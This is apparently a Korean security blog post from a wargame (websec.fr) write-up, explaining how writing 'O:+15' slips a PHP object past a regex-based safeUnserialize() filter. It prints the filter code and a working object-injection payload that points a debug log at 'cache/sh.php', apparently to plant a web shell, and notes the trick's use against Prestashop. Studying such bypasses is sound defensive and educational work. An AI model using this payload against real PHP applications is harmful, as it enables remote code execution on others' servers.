i0n1c object injection bypass
2018. 7. 9. 08:19
레드벨벳 아이린
최근에 websec.fr 문제를 풀다가 i0n1c's object injection bypassing 기법을 알게 되었는데 유용한 트릭같아서 블로그에 공유해본다.
static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; }
첫번째 'O:' 는 우회하지 못하는데 두 번째 if 문에서 취약점이 발생하게 된다.
[*] payload : a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}
페이로드를 보게 되면, O:+15 의 부분을 볼 수가 있는데 이런 형식으로 정규식을 우회하여 결국엔 unserialize() 함수를 사용할 수 있게 된다. 해당 payload가 exploitable한 이유는 +15가 양의 정수 15를 의미하기 때문이다. (+15 == 15)
unserialize 함수가 실행되면 당연히 __destruct()나 __wakeup() 같은 특수 함수들을 사용할 수 있게 되기 때문에 취약점에 바로 노출된다.
응용해서 다음 페이로드도 성립함을 알 수 있다.
뭐 근데 이런 페이로드가 진짜로 쓰일 일은 없고 ㅋㅋㅋㅋ
해당 트릭을 이용해서 Prestashop application의 취약점을 찾은 일도 있다. 꽤 파급력이 큰 취약점인 듯ㅋㅋㅋㅋ
'Hacking > Web.' 카테고리의 다른 글
XSS on HTTPonly (0) | 2018.08.10 |
---|---|
워게임 아이디어 (0) | 2018.07.11 |
php parse_url bug #54369 (0) | 2018.07.03 |
php parse_url bug #74780 (0) | 2018.07.03 |
PHP iconv file upload bug (0) | 2018.04.03 |